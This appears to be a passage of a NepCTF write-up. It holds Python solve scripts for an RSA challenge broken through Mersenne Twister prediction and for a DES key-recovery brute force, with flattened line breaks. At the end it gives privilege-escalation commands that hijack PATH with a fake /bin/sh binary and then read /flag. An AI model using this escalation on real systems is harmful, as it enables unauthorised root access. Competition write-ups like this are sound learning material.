9323304216218612718765727398943401294644022496938258864873262044174164494124912426175372524656376121897875690251938452930789747994519674300862595216275541928658146402252536829579922303097776404657455395450853161185534506599329499328761065707811197966475148318482438088816924842458585192796056395380885795831624193355572079389648572361687920747403086875781493091238221420792111039898275872964722825166960441004965842026859265796562573640732063541877035703999245333694179437792066831585165461995364692890546146714109909416865771920606476665195142708888603968579677611414182298908961972377792642461485700163305106822555295614208389049759887366755702844687102118445824014372956649481277066166924064626883625529127495005588028388483766067410274861916768872801521497419917210273929808241146609995677024611922336272710349389876190772255358937829567527264556193455102589070314099946309456924899042364687241172332840945782353392616136617563821048515468471367048407411155118451921276454670955158681417865476853177017842721834815952409006713266837983420755674970910958855376774495892803045864293320797273173888983664027031052240708255707307422032731463071652137403618211017887465002432168692117051240159277252379824996010246766074285079464361741633904950528045016244540127043273044021628139047935705179809152652933410722692455547647528744534839733672044599254892680777240260159499991043971697252388432311037873809523064135400553593959573849832595188508029952697051548829416255437072643835688738793624097362498558443096146101627043746940890053701369940962214522457892915729305114275499436510544130029395376994942708908040276210725248167443941426000116363000200220922760871870186453976447185412076514993435759981899706296371330830436299159628082800951211075577461707888716536099448346975425979423204513474804957136589097060039973306518815953291120835728515830763204543660368647766211096455843430246712026982708852360543677674530743560023330349468859412826542471024866557442161759939723560838629373600911263524011636319712768871556302569180437676004395619112968911510645145459430345828935645924234413940523699904962572662950701750521907693788666475358305749978303926379358069170765396161903335312206699340199341228106730504556971181751091781667026701297638854431113144742856031025542411843437212905850406897170450958345253598538542661053359529163683726002952916111901252702883215406311806605411436521222561160441337646630682129162220645348107654872296443149672064281507343466031675146177392773676938026056557263552186566641813180409722378755957258403442923276790740858838690862781113529285862665653324002215060351342057811868722794858409107442690013589532262943990745431478191044017844083397530824344245150592990173259732525094247788525739224837295679745955641804314042654920505999269383249481731260911482087454054211587951775148123994577374503668583755578244518956203130622970542004108302601450830865336582901034165739597273838322513678277580224250767953011438840869016350137881858125983608665831475029516829206341323460697505484556735376829998885511767281005108840046697610302208795398182098057415991839607175077531813947927123547373332868453608747347815869515422882735153273933290651731379827018790232615617964485038388387400579821056500289727918301490569722941800556145830128392787609763459872927337088768812771679914658995954771829652950421819702414456925295145590704784455559310964233112833755145713182533412947699566856472511428420061162198452244076643605124600301907838772198941012601404630033752640683222766121167051137466617193324220776121636726262954983891798049753528884949149278107055957653804164122232750629108771687361858365462276461758050089339414649308189481865701469685971089624677686415038790141344992019067961279901006021154460525723482009962909666812029094177916225260557575750852951983028595026985975759287231315896982867941386247369741207715929550901277459410981688464120324580668604126829385737148142010733680106833740158713528050751799693988082141485112234559239865511692418065113774817308071898684749289577274638116406277808547134140659187860357703459236546455683700089064295899984063024669612762793525503212165546539776762359198804880143121831222096537368999356089708412896046021123796479990498164844552933248218587707868671273702871780046383065460423688141024214392817157791234305056319786064285936708392236448824783787802429682770337272235088202671105152535710294695902974253047704609221448981405609532633533062373004757059178427305919782441807444728003944125735197038228206500793881947731683045961796477046714111614358449413877923492947221540637411996522154279667079850899812790025430709528400798251289702825878302828745393493824877531623611021252456356175891394204733580270256164603165280954431866062942260146653644302782243197898971847034949620717936360716813922698249012591248773536863924987646374098897933678199676635398286431303649466386258192966901198806753276444091301228010214339088108290023638595922653691209504127688631013840850339138278703745938757018854197798962009892613282181507128330931048662067002367216863617848322567299023690624245593206164105677495564960539642415302357595708814138558968835481632687790665010565719903412940128287504825368916534220790908431745824689253975485426199665419413293026825301727942248672409218671101407001619695622271079059718159320809385046289813332457898242478875287662049306326128127096487004090260965504341859573161979597029645986363926315578307517270390753856067696152047443238502483962791641441490865619200976770256057170066156820270572569771810211110603878695517027021950880364813075465813553633502655967975314073321783020381333179392616571110466251438283295584037063072317641592779695576516955351746228624042492217724849657620847693726284017350054950782525685068155910337357571979953407374579280570935089834537704344457238732220579202609637914608484826604361955970116469949154697026645903741731287329497095582160362231238960329551573864907411287725688413134239479959356600892557931981745359716246576285134336255136234019351923411118976399709138358912615581289803736063685392526627126047585536571255137591890898469016131796862155245718632726865355864471577906314641282253655270136097246496157189183315479252842675388863506996293537386049856520375327248649829502157752917745660189131281987348802723603782945921331000190785525591621756168923822951821404353646825235167866284344617268886872941218738132870839917479807740404673373159559070563008075098345562213387428585134527952927397372161736924000067060148836364979179350873731455181407191524960955000331041112836325967730682314802564504793245212062165765383998948417925582958872582993455246869810367559513521188245827564742949660925007994864642588404989913088438650029238240908588039032304578884090105469536379896758734713314973495243747985470691862911913134723349279860545443973275726615548263752591810660223834517909123784767147753948727361870320431446223866316111276171603492135128216357176021812643706643763587976997347084988208779018873039456862231395447809853586521609100405013300467752808797446255256509955396709060833818059140619116092459497493686455825427088609805918612964163855925495410440760559642006382819680630706627333218589739634830096224810601690036163130895447446190737732854075739908518171940791""".strip().split()arr = list(map(int, ss))xx = []for x in range(7): n = arr[2*x] e = arr[2*x + 1] xx.append(attack(n, e))print(xx)#global_bits = 1024
from extend_mt19937_predictor import ExtendMT19937Predictor
for p, q, d in xx: print(hex(p & 0xffffffff), hex(q & 0xffffffff), hex(d & 0xffffffff)) print(p.bit_length(), q.bit_length(), d.bit_length())
print(len(xx))for xt in range(2 ** 7): try: predictor = ExtendMT19937Predictor() for i in range(7): if xt & (1 << i): predictor.setrandbits(xx[i][0] >> 32, global_bits - 32) predictor.setrandbits(xx[i][1] >> 32, global_bits - 32) else: predictor.setrandbits(xx[i][1] >> 32, global_bits - 32) predictor.setrandbits(xx[i][0] >> 32, global_bits - 32) predictor.setrandbits(xx[i][2] >> 32, global_bits - 32 - 32) # d = predictor.predict_getrandbits(global_bits - 32) # print(d) break except ValueError: print(xt) del predictor
from gmpy2 import next_prime, invert as inverse_modfrom Crypto.Cipher import PKCS1_v1_5from Crypto.PublicKey import RSAfrom random import getrandbitsfrom math import lcmfrom sys import exitdef generate_prime(bits: int): p = (predictor.predict_getrandbits(bits - 32) << 32) return next_prime(p)
def generate_private_key(bits: int): q, p = generate_prime(bits), generate_prime(bits) n, phi = p * q, lcm(p-1, q-1) print(p.bit_length(), q.bit_length()) print(hex(p & 0xffffffff), hex(q & 0xffffffff)) d = inverse_mod(0x10001, phi) privateKey = RSA.construct((int(n), int(0x10001), int(d), int(p), int(q))) return privateKey, p > q
privateKey, signal = generate_private_key(global_bits)Cipher = PKCS1_v1_5.new(privateKey)cc = b"\x02\x81\xbe\x9e^\xdc2\xf6V~\x98 \x97\x125\xa2-\xe3gal\x96\x02\xba\xe8\xaaN*\xce\xe98\x8eAhSNz\x08;Vb\xe0\x9d\xe2\x15\xf6\x12\xd6\xe5'a\xc0\rt\r+\xa4_\xaa\x19\xc4\x97>\xa1\r\x14\x18\xfe\xd4\xa8~d\xfe\x9d\x95>\x0f\x84\xfa/p\xfa\x91\x070\xd1\xa64\xb2N\x9a\xe9\x01\xe9\x91\xa58\x81\xb2\\H&B\xcc\xde\xe8|\x87\xed\x0e)\xd3\xde\x93f\xa5\x0e\xecv\x9c\xcea%\x85\x9e\xb8\x10\x9ea\xdfnME\x18i\xab,\x96{\xab\xf3i\xa9I\xc2\xbb\xac\x81\x12\x04\xf4J8N\xfbE\x0fp.P\x9b\xacrX\xc1Hk\xff->\x9b\xd99\xd2L\xc2\x849*\xfa\xf3>\x8c&23\xceu\xb7\xf7\xa2\x81\x15\xacOX}\xd3t\xa6T\x1b7\xa9\xf6\x163\x96\xa1\xe1\xd7\xb3e\xccB\x9a\xee\x83B|\x92E>C\xfb\xd5\xc5\xe3#\xa514\xa0\x1b\x03\xbf\xf6\xb3\x1bK\xa2=\xaf3\x03w\x91\xdeU\xb51Y}%\x89\x00"print(Cipher.decrypt(cc, None))simple_des
Brute force 9 bits to recover L, then reverse the operation below to recover the initial L and R. Since L and R come from 56 bits of the key, you only need to know 56 bits of the key.
for i in range(16): for j in range(ROTATIONS[i]): L.append(L.pop(0)) R.append(R.pop(0))exp
from operator import addfrom typing import Listfrom functools import reducefrom gmpy2 import *from Crypto.Util.number import *
_IP = [57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6 ]
def IP(plain: List[int]) -> List[int]: return [plain[x] for x in _IP]
__pc1 = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ]
__pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31]ROTATIONS = [1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1]
def PC_1(key: List[int]) -> List[int]: return [key[x] for x in __pc1]
def PC_2(key: List[int]) -> List[int]: return [key[x] for x in __pc2]
def get_sub_key(key: List[int]) -> List[List[int]]: key = PC_1(key) L, R = key[:28], key[28:]
sub_keys = []
for i in range(16): for j in range(ROTATIONS[i]): L.append(L.pop(0)) R.append(R.pop(0))
combined = L + R sub_key = PC_2(combined) sub_keys.append(sub_key) # print('LL=', L[:19]) # print('Rr=', R) return sub_keys
def get_sub_key_attack(key: List[int]) -> List[List[int]]: L, R = key[:28], key[28:]
sub_keys = []
for i in range(16): for j in range(ROTATIONS[i]): L.append(L.pop(0)) R.append(R.pop(0))
combined = L + R sub_key = PC_2(combined) sub_keys.append(sub_key) # print('LL=', L[:19]) # print('Rr=', R) return sub_keys
__ep = [31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0 ]
__p = [15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23, 13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24 ]
def EP(data: List[int]) -> List[int]: return [data[x] for x in __ep]
def P(data: List[int]) -> List[int]: return [data[x] for x in __p]
__s_box = [
[ [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7], [0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8], [4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0], [15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13] ],
[ [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10], [3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5], [0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15], [13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9] ],
[ [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8], [13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1], [13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7], [1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12] ],
[ [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15], [13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9], [10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4], [3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14] ],
[ [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9], [14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6], [4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14], [11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3] ],
[ [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11], [10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8], [9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6], [4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13] ],
[ [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1], [13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6], [1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2], [6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12] ],
[ [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7], [1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2], [7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8], [2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11] ]]
def S_box(data: List[int]) -> List[int]: output = [] for i in range(0, 48, 6): row = data[i] * 2 + data[i + 5] col = reduce(add, [data[i + j] * (2 ** (4 - j)) for j in range(1, 5)]) output += [int(x) for x in format(__s_box[i // 6][row][col], '04b')] return output
def encrypt(plain: List[int], sub_keys: List[List[int]]) -> List[int]: plain = IP(plain) L, R = plain[:32], plain[32:]
for i in range(16): prev_L = L L = R expanded_R = EP(R) xor_result = [a ^ b for a, b in zip(expanded_R, sub_keys[i])] substituted = S_box(xor_result) permuted = P(substituted)
R = [a ^ b for a, b in zip(permuted, prev_L)]
cipher = R + L cipher = [cipher[x] for x in [39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24]]
return cipher
def bitxor(plain1: List[int], plain2: List[int]) -> List[int]: return [int(i) for i in bin(int(''.join(str(i) for i in plain1), 2) ^ int(''.join(str(i) for i in plain2), 2))[2:].zfill(64)]
def add(x, y): return x + y
def decrypt(plain: List[int], sub_keys: List[List[int]]) -> List[int]: # plain = IP(plain) L, R = plain[:32], plain[32:]
for i in range(16): prev_L = L L = R expanded_R = EP(R) xor_result = [a ^ b for a, b in zip(expanded_R, sub_keys[i])] substituted = S_box(xor_result) permuted = P(substituted)
R = [a ^ b for a, b in zip(permuted, prev_L)]
cipher = R + L # cipher = [cipher[x] for x in [39, 7, 47, 15, 55, 23, 63, 31, # 38, 6, 46, 14, 54, 22, 62, 30, # 37, 5, 45, 13, 53, 21, 61, 29, # 36, 4, 44, 12, 52, 20, 60, 28, # 35, 3, 43, 11, 51, 19, 59, 27, # 34, 2, 42, 10, 50, 18, 58, 26, # 33, 1, 41, 9, 49, 17, 57, 25, # 32, 0, 40, 8, 48, 16, 56, 24]]
return cipher
P0 = [39, 7, 47, 15, 55, 23, 63, 31, 38, 6, 46, 14, 54, 22, 62, 30, 37, 5, 45, 13, 53, 21, 61, 29, 36, 4, 44, 12, 52, 20, 60, 28, 35, 3, 43, 11, 51, 19, 59, 27, 34, 2, 42, 10, 50, 18, 58, 26, 33, 1, 41, 9, 49, 17, 57, 25, 32, 0, 40, 8, 48, 16, 56, 24]P0_inv = [0] * len(P0)for i, b in enumerate(P0): P0_inv[b] = i
_IP_inv = [0] * len(_IP)for i, b in enumerate(_IP): _IP_inv[b] = i
def P_set(c, box): return [c[_] for _ in box]
def bin2str(x: []): res = bytearray() for i in range(0, len(x), 8): res.append(int("".join(map(str, x[i:i+8])), 2)) return res
# Brute force process# check = []# for test in range(2 ** 9):# # for test in range(1):# LL= [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]# RR= [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0]# LL += list(map(int, bin(test)[2:].ljust(9, "0")))# sub_keys = []## t=[0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0]# for i in range(16):# combined = LL + RR# sub_key = PC_2(combined)# sub_keys.append(sub_key)# for j in range(ROTATIONS[::-1][i]):# LL.insert(0, LL.pop(-1))# RR.insert(0, RR.pop(-1))# # print(LL)# # print(RR)# # sub_keys = sub_keys[::-1]# # print(sub_keys)# ct = decrypt(P_set(t[:64], P0_inv), sub_keys)# print(test, bin2str(P_set(ct, _IP_inv)))# x = bin2str(P_set(ct, _IP_inv))# check.append((len(repr(x)), x, test))# check.sort()# print(check)# (22, bytearray(b'NepCTF{N'), 503)
LL= [0, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1]RR= [0, 0, 0, 1, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 1, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 1, 1, 0]LL += list(map(int, bin(503)[2:].ljust(9, "0")))sub_keys = []
flag = b""t=[0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 0, 0, 1, 0, 1, 1, 1, 1, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 1, 0, 1, 0, 1, 0, 0, 1, 0, 1, 1, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 1, 0, 0, 0, 0, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 1, 0, 0, 1, 1, 1, 1, 1, 0, 1, 0, 0, 1, 1, 1, 1, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 0, 1, 0, 1, 0, 0, 0, 1, 1, 0, 0, 1, 1, 0, 0, 1, 0, 0, 1, 1, 1, 0, 1, 0, 1, 1, 0, 1, 0, 1, 0, 0, 1, 0, 0, 0, 0, 0, 0, 1, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1, 1, 0, 1, 1, 1, 0, 1, 1, 1, 1, 1, 0, 1, 1, 0, 1, 0]for i in range(16): combined = LL + RR sub_key = PC_2(combined) sub_keys.append(sub_key) for j in range(ROTATIONS[::-1][i]): LL.insert(0, LL.pop(-1)) RR.insert(0, RR.pop(-1))ct = decrypt(P_set(t[:64], P0_inv), sub_keys)raw = P_set(ct, _IP_inv)x = bin2str(raw)print(x)flag += x
z = rawkeys_t = LL + RRkey = [0] * 64for i, b in enumerate(__pc1): key[b] = keys_t[i]print(key)print(bin2str(key))ct = decrypt(P_set(t[64:64*2], P0_inv), get_sub_key(bitxor(z, key))[::-1])raw = P_set(ct, _IP_inv)x = bin2str(raw)print(x)flag += x
z = rawct = decrypt(P_set(t[64*2:64*3], P0_inv), get_sub_key(bitxor(z, key))[::-1])raw = P_set(ct, _IP_inv)x = bin2str(raw)print(x)flag += x
print(flag)Web
ez_java_checkin
A simple Java deserialization vulnerability — solved in one shot.

独步天下 - 转生成为镜花水月中的王者 (Unrivaled Under Heaven — Reincarnated as the King in the Mirror)
Pentesting check-in challenge. The hint is privilege escalation via environment variables — solved in one shot.
echo "/bin/sh"> /tmp/ports-alivechmod 777 /tmp/ports-aliveexport PATH=/tmp:$PATHnmap -vcat /flag